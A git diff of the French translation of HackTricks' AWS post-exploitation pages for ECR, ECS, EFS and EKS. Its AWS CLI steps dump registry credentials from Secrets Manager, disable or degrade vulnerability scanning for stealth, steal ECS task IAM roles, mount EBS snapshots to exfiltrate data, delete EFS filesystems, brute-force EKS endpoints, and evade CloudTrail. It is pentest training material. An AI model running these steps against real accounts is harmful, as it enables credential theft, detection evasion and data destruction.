`ecr-pullthroughcache/`. Les opérateurs accordent parfois aux ECR admins un accès en lecture étendu à Secrets Manager, permettant la credential exfiltration et la réutilisation en dehors d'AWS. + +Prérequis +- secretsmanager:ListSecrets +- secretsmanager:GetSecretValue + +Énumérer les secrets PTC candidats +```bash +aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ +--output text +``` +Exporter les secrets découverts et analyser les champs communs +```bash +for s in $(aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do +aws secretsmanager get-secret-value --secret-id "$s" \ +--query SecretString --output text | tee /tmp/ptc_secret.json +jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true +jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true +done +``` +Optionnel: valider leaked creds contre l'upstream (login en lecture seule) +```bash +echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io +``` +Impact +- La lecture de ces entrées Secrets Manager donne des identifiants de registre en amont réutilisables (nom d'utilisateur/mot de passe ou token), qui peuvent être abusés en dehors d'AWS pour récupérer des images privées ou accéder à d'autres dépôts selon les permissions en amont. + + +### Furtivité au niveau du registre : désactiver ou réduire l'analyse via `ecr:PutRegistryScanningConfiguration` + +Un attaquant disposant des permissions ECR au niveau du registre peut silencieusement réduire ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en définissant la configuration d'analyse du registre sur BASIC sans aucune règle scan-on-push. Cela empêche les nouveaux push d'images d'être analysés automatiquement, masquant des images vulnérables ou malveillantes. + +Prérequis +- ecr:PutRegistryScanningConfiguration +- ecr:GetRegistryScanningConfiguration +- ecr:PutImageScanningConfiguration (optionnel, par dépôt) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification) + +Rétrogradation au niveau du registre vers manuel (pas d'analyses automatiques) +```bash +REGION=us-east-1 +# Read current config (save to restore later) +aws ecr get-registry-scanning-configuration --region "$REGION" + +# Set BASIC scanning with no rules (results in MANUAL scanning only) +aws ecr put-registry-scanning-configuration \ +--region "$REGION" \ +--scan-type BASIC \ +--rules '[]' +``` +Test avec un repo et une image +```bash +acct=$(aws sts get-caller-identity --query Account --output text) +repo=ht-scan-stealth +aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile +docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test + +# Verify no scan ran automatically +aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' +# Optional: will error with ScanNotFoundException if no scan exists +aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true +``` +Optionnel : dégrader davantage au niveau du dépôt +```bash +# Disable scan-on-push for a specific repository +aws ecr put-image-scanning-configuration \ +--region "$REGION" \ +--repository-name "$repo" \ +--image-scanning-configuration scanOnPush=false +``` +Impact +- Les nouveaux pushs d'images dans l'ensemble du registre ne sont pas scannés automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'un scan manuel soit lancé. + + +### Rétrogradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) + +Réduisez la qualité de détection des vulnérabilités sur l'ensemble du registre en changeant le moteur de scan BASIC du moteur par défaut AWS_NATIVE vers le moteur hérité CLAIR. Cela n'empêche pas les scans, mais peut modifier de manière significative les résultats/couverture. Combinez avec une configuration de scan de registre BASIC sans règles pour rendre les scans uniquement manuels. + +Requirements +- `ecr:PutAccountSetting`, `ecr:GetAccountSetting` +- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` + +Impact +- Le paramètre du registre `BASIC_SCAN_TYPE_VERSION` est défini sur `CLAIR`, de sorte que les scans BASIC suivants s'exécutent avec le moteur dégradé. CloudTrail enregistre l'appel API `PutAccountSetting`. + +Steps +```bash +REGION=us-east-1 + +# 1) Read current value so you can restore it later +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true + +# 2) Downgrade BASIC scan engine registry‑wide to CLAIR +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR + +# 3) Verify the setting +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION + +# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) +aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true + +# 5) Restore to AWS_NATIVE when finished to avoid side effects +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md deleted file mode 100644 index 5414089fb..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ /dev/null @@ -1,57 +0,0 @@ -# AWS - ECS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Rôles IAM de l'hôte - -Dans ECS, un **rôle IAM peut être attribué à la tâche** s'exécutant à l'intérieur du conteneur. **Si** la tâche est exécutée à l'intérieur d'une **instance EC2**, l'**instance EC2** aura **un autre rôle IAM** qui lui est attaché.\ -Ce qui signifie que si vous parvenez à **compromettre** une instance ECS, vous pouvez potentiellement **obtenir le rôle IAM associé à l'ECR et à l'instance EC2**. Pour plus d'informations sur la façon d'obtenir ces identifiants, consultez : - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -> [!CAUTION] -> Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2. - -### Privesc vers le nœud pour voler les identifiants et secrets d'autres conteneurs - -De plus, EC2 utilise Docker pour exécuter les tâches ECs, donc si vous pouvez échapper au nœud ou **accéder au socket Docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **y entrer** et **voler leurs rôles IAM** attachés. - -#### Faire fonctionner des conteneurs sur l'hôte actuel - -En outre, le **rôle de l'instance EC2** aura généralement suffisamment de **permissions** pour **mettre à jour l'état de l'instance de conteneur** des instances EC2 utilisées comme nœuds à l'intérieur du cluster. Un attaquant pourrait modifier l'**état d'une instance en DRAINING**, puis ECS **supprimera toutes les tâches de celle-ci** et celles exécutées en tant que **REPLICA** seront **exécutées dans une autre instance,** potentiellement à l'intérieur de **l'instance de l'attaquant** afin qu'il puisse **voler leurs rôles IAM** et des informations sensibles potentielles à l'intérieur du conteneur. -```bash -aws ecs update-container-instances-state \ ---cluster --status DRAINING --container-instances -``` -La même technique peut être réalisée en **désenregistrant l'instance EC2 du cluster**. Cela est potentiellement moins furtif mais cela **forcera les tâches à être exécutées sur d'autres instances :** -```bash -aws ecs deregister-container-instance \ ---cluster --container-instance --force -``` -Une technique finale pour forcer la réexécution des tâches consiste à indiquer à ECS que le **tâche ou le conteneur a été arrêté**. Il existe 3 API potentielles pour cela : -```bash -# Needs: ecs:SubmitTaskStateChange -aws ecs submit-task-state-change --cluster \ ---status STOPPED --reason "anything" --containers [...] - -# Needs: ecs:SubmitContainerStateChange -aws ecs submit-container-state-change ... - -# Needs: ecs:SubmitAttachmentStateChanges -aws ecs submit-attachment-state-changes ... -``` -### Voler des informations sensibles des conteneurs ECR - -L'instance EC2 aura probablement également la permission `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pourriez rechercher des informations sensibles dans celles-ci). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md new file mode 100644 index 000000000..30fb9714c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -0,0 +1,124 @@ +# AWS - ECS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +For more information check: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Host IAM Roles + +Dans ECS, un **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ +Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +> [!CAUTION] +> Notez que si l'instance **EC2** applique IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **response of the PUT request** aura un **hop limit of 1**, rendant impossible l'accès aux EC2 metadata depuis un container à l'intérieur de l'EC2 instance. + +### Privesc to node to steal other containers creds & secrets + +But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. + +#### Making containers run in current host + +Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. +```bash +aws ecs update-container-instances-state \ +--cluster --status DRAINING --container-instances +``` +La même technique peut être réalisée en **deregistering the EC2 instance from the cluster**. C'est potentiellement moins discret mais cela va **force the tasks to be run in other instances:** +```bash +aws ecs deregister-container-instance \ +--cluster --container-instance --force +``` +Une technique finale pour forcer la réexécution des tâches consiste à indiquer à ECS que la **tâche ou le conteneur a été arrêté(e)**. Il existe 3 API potentielles pour cela : +```bash +# Needs: ecs:SubmitTaskStateChange +aws ecs submit-task-state-change --cluster \ +--status STOPPED --reason "anything" --containers [...] + +# Needs: ecs:SubmitContainerStateChange +aws ecs submit-container-state-change ... + +# Needs: ecs:SubmitAttachmentStateChanges +aws ecs submit-attachment-state-changes ... +``` +### Voler des informations sensibles depuis des conteneurs ECR + +L'instance EC2 aura probablement également l'autorisation `ecr:GetAuthorizationToken`, lui permettant de **télécharger des images** (vous pouvez y rechercher des informations sensibles). + +{{#include ../../../../banners/hacktricks-training.md}} + +### Monter un snapshot EBS directement dans une tâche ECS (configuredAtLaunch + volumeConfigurations) + +Abusez l'intégration native ECS EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle tâche/service ECS et lire ses données depuis l'intérieur du conteneur. + +- Nécessite (minimum) : +- ecs:RegisterTaskDefinition +- Un des : ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole sur : +- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task roles référencés par la task definition +- Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle infra (la AWS managed policy ci-dessus inclut les KMS grants requis pour les clés gérées par AWS). + +- Impact : Lire des contenus arbitraires du disque depuis le snapshot (par ex. fichiers de base de données) à l'intérieur du conteneur et exfiltrer via le réseau/logs. + +Steps (Fargate example) : + +1) Créer le rôle d'infrastructure ECS (s'il n'existe pas) et attacher la managed policy : +```bash +aws iam create-role --role-name ecsInfrastructureRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsInfrastructureRole \ +--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes +``` +2) Enregistrer une task definition avec un volume marqué `configuredAtLaunch` et le monter dans le container. Exemple (affiche le secret puis reste en veille) : +```json +{ +"family": "ht-ebs-read", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", +"containerDefinitions": [ +{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["cat /loot/secret.txt || true; sleep 3600"], +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, +"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] +} +], +"volumes": [ {"name":"loot", "configuredAtLaunch": true} ] +} +``` +3) Créer ou mettre à jour un service en passant le snapshot EBS via `volumeConfigurations.managedEBSVolume` (requiert iam:PassRole sur le rôle infra). Exemple : +```json +{ +"cluster": "ht-ecs-ebs", +"serviceName": "ht-ebs-svc", +"taskDefinition": "ht-ebs-read", +"desiredCount": 1, +"launchType": "FARGATE", +"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, +"volumeConfigurations": [ +{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} +] +} +``` +4) Lorsque la tâche démarre, le conteneur peut lire le contenu de l'instantané au point de montage configuré (p. ex., `/loot`). Exfiltrer via le réseau/les logs de la tâche. + +Nettoyage: +```bash +aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 +aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force +aws ecs deregister-task-definition ht-ebs-read +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md index 099784b57..e301a00c4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md @@ -1,46 +1,46 @@ -# AWS - EFS Post Exploitation +# AWS - EFS Post-exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EFS Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-efs-enum.md +../../aws-services/aws-efs-enum.md {{#endref}} ### `elasticfilesystem:DeleteMountTarget` -Un attaquant pourrait supprimer un point de montage, perturbant potentiellement l'accès au système de fichiers EFS pour les applications et les utilisateurs s'appuyant sur ce point de montage. +Un attaquant pourrait supprimer un mount target, perturbant potentiellement l'accès au système de fichiers EFS pour les applications et les utilisateurs qui dépendent de ce mount target. ```sql aws efs delete-mount-target --mount-target-id ``` -**Impact potentiel** : Interruption de l'accès au système de fichiers et perte de données potentielle pour les utilisateurs ou les applications. +**Impact potentiel**: Perturbation de l'accès au système de fichiers et perte de données potentielle pour les utilisateurs ou les applications. ### `elasticfilesystem:DeleteFileSystem` -Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications dépendant du système de fichiers. +Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications qui dépendent de ce système de fichiers. ```perl aws efs delete-file-system --file-system-id ``` -**Impact potentiel** : Perte de données et interruption de service pour les applications utilisant le système de fichiers supprimé. +**Impact potentiel**: Perte de données et interruption de service pour les applications utilisant le système de fichiers supprimé. ### `elasticfilesystem:UpdateFileSystem` -Un attaquant pourrait mettre à jour les propriétés du système de fichiers EFS, telles que le mode de débit, pour affecter ses performances ou provoquer une exhaustion des ressources. +Un attaquant pourrait mettre à jour les propriétés du système de fichiers EFS, comme le throughput mode, pour affecter ses performances ou provoquer une saturation des ressources. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` -**Impact potentiel** : Dégradation des performances du système de fichiers ou épuisement des ressources. +**Impact potentiel**: Dégradation des performances du système de fichiers ou épuisement des ressources. ### `elasticfilesystem:CreateAccessPoint` et `elasticfilesystem:DeleteAccessPoint` -Un attaquant pourrait créer ou supprimer des points d'accès, modifiant le contrôle d'accès et pouvant potentiellement s'accorder un accès non autorisé au système de fichiers. +Un attaquant pourrait créer ou supprimer des points d'accès, modifier le contrôle d'accès et potentiellement s'accorder un accès non autorisé au système de fichiers. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` **Impact potentiel** : Accès non autorisé au système de fichiers, exposition ou modification des données. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md deleted file mode 100644 index db92a606e..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ /dev/null @@ -1,143 +0,0 @@ -# AWS - EKS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EKS - -Pour plus d'informations, consultez - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### Énumérer le cluster depuis la console AWS - -Si vous avez la permission **`eks:AccessKubernetesApi`**, vous pouvez **voir les objets Kubernetes** via la console AWS EKS ([En savoir plus](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). - -### Se connecter au cluster Kubernetes AWS - -- Facile : -```bash -# Generate kubeconfig -aws eks update-kubeconfig --name aws-eks-dev -``` -- Pas si facile : - -Si vous pouvez **obtenir un token** avec **`aws eks get-token --name `** mais que vous n'avez pas les permissions pour obtenir les informations du cluster (describeCluster), vous pourriez **préparer votre propre `~/.kube/config`**. Cependant, avec le token, vous avez toujours besoin de l'**url endpoint pour vous connecter** (si vous avez réussi à obtenir un token JWT d'un pod lisez [ici](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) et du **nom du cluster**. - -Dans mon cas, je n'ai pas trouvé l'info dans les logs CloudWatch, mais j'ai **trouvé dans les userData des LaunchTemplates** et dans les **machines EC2 dans userData aussi**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le nom du cluster était cluster-name) : -```bash -API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com - -/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false -``` -
- -kube config -```yaml -describe-cache-parametersapiVersion: v1 -clusters: -- cluster: -certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== -server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com -name: arn:aws:eks:us-east-1::cluster/ -contexts: -- context: -cluster: arn:aws:eks:us-east-1::cluster/ -user: arn:aws:eks:us-east-1::cluster/ -name: arn:aws:eks:us-east-1::cluster/ -current-context: arn:aws:eks:us-east-1::cluster/ -kind: Config -preferences: {} -users: -- name: arn:aws:eks:us-east-1::cluster/ -user: -exec: -apiVersion: client.authentication.k8s.io/v1beta1 -args: -- --region -- us-west-2 -- --profile -- -- eks -- get-token -- --cluster-name -- -command: aws -env: null -interactiveMode: IfAvailable -provideClusterInfo: false -``` -
- -### D'AWS à Kubernetes - -Le **créateur** du **cluster EKS** sera **TOUJOURS** capable d'accéder à la partie du cluster kubernetes du groupe **`system:masters`** (admin k8s). Au moment de la rédaction de ce document, il n'y a **aucun moyen direct** de savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucun moyen** de **supprimer** ce **privilège**. - -La façon de donner **accès à plus d'utilisateurs ou de rôles AWS IAM sur K8s** est d'utiliser le **configmap** **`aws-auth`**. - -> [!WARNING] -> Par conséquent, toute personne ayant un **accès en écriture** sur le config map **`aws-auth`** pourra **compromettre l'ensemble du cluster**. - -Pour plus d'informations sur la façon de **donner des privilèges supplémentaires aux rôles et utilisateurs IAM** dans le **même ou un autre compte** et comment **abuser** de cela pour [**privesc, consultez cette page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). - -Vérifiez aussi [**ce post génial**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **pour apprendre comment fonctionne l'authentification IAM -> Kubernetes**. - -### De Kubernetes à AWS - -Il est possible de permettre une **authentification OpenID pour le compte de service kubernetes** afin de leur permettre d'assumer des rôles dans AWS. Apprenez comment [**cela fonctionne sur cette page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). - -### OBTENIR le point de terminaison de l'API Server à partir d'un jeton JWT - -En décodant le jeton JWT, nous obtenons l'ID du cluster et aussi la région. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sachant que le format standard pour l'URL EKS est -```bash -https://...eks.amazonaws.com -``` -Je n'ai trouvé aucune documentation qui explique les critères pour les 'deux caractères' et le 'nombre'. Mais en faisant quelques tests de mon côté, je vois que ceux-ci reviennent souvent : - -- gr7 -- yl4 - -Quoi qu'il en soit, ce ne sont que 3 caractères que nous pouvons brute-forcer. Utilisez le script ci-dessous pour générer la liste. -```python -from itertools import product -from string import ascii_lowercase - -letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) -number_combinations = product('0123456789', repeat = 1) - -result = [ -f'{''.join(comb[0])}{comb[1][0]}' -for comb in product(letter_combinations, number_combinations) -] - -with open('out.txt', 'w') as f: -f.write('\n'.join(result)) -``` -Ensuite avec wfuzz -```bash -wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com -``` -> [!WARNING] -> N'oubliez pas de remplacer & . - -### Contournement de CloudTrail - -Si un attaquant obtient des identifiants d'un AWS avec **permission sur un EKS**. Si l'attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, le **`get-token`** ne génère pas de journaux dans Cloudtrail car il n'interagit pas avec l'API AWS (il crée simplement le token localement). - -Ainsi, lorsque l'attaquant communique avec le cluster EKS, **cloudtrail ne journalisera rien lié à l'utilisateur volé et y accédant**. - -Notez que le **cluster EKS pourrait avoir des journaux activés** qui enregistreront cet accès (bien que, par défaut, ils soient désactivés). - -### Rançon EKS ? - -Par défaut, l'**utilisateur ou le rôle qui a créé** un cluster a **TOUJOURS des privilèges d'administrateur** sur le cluster. Et c'est le seul accès "sécurisé" qu'AWS aura sur le cluster Kubernetes. - -Donc, si un **attaquant compromet un cluster en utilisant fargate** et **supprime tous les autres administrateurs** et **supprime l'utilisateur/rôle AWS qui a créé** le cluster, ~~l'attaquant pourrait avoir **rançonné le cluster**~~. - -> [!TIP] -> Notez que si le cluster utilisait des **VM EC2**, il pourrait être possible d'obtenir des privilèges d'administrateur depuis le **Node** et de récupérer le cluster. -> -> En fait, si le cluster utilise Fargate, vous pourriez EC2 nodes ou déplacer tout vers EC2 vers le cluster et le récupérer en accédant aux tokens dans le node. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md new file mode 100644 index 000000000..8f78e9ece --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -0,0 +1,143 @@ +# AWS - EKS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EKS + +Pour plus d'informations, consultez + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### Énumérer le cluster depuis la console AWS + +Si vous avez l'autorisation **`eks:AccessKubernetesApi`**, vous pouvez **voir les objets Kubernetes** via la console AWS EKS ([En savoir plus](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). + +### Se connecter au cluster Kubernetes AWS + +- Méthode simple: +```bash +# Generate kubeconfig +aws eks update-kubeconfig --name aws-eks-dev +``` +- Pas si simple : + +Si vous pouvez **get a token** avec **`aws eks get-token --name `** mais que vous n'avez pas les permissions pour obtenir les infos du cluster (describeCluster), vous pouvez **préparer votre propre `~/.kube/config`**. Cependant, même avec le token, il vous faut encore l'**url endpoint pour vous connecter** (si vous avez réussi à obtenir un JWT token depuis un pod, lisez [ici](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) et le **nom du cluster**. + +Dans mon cas, je n'ai pas trouvé l'info dans CloudWatch logs, mais je l'**ai trouvée dans LaunchTemaplates userData** et aussi dans les **EC2 machines in userData**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le cluster name was cluster-name): +```bash +API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com + +/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip 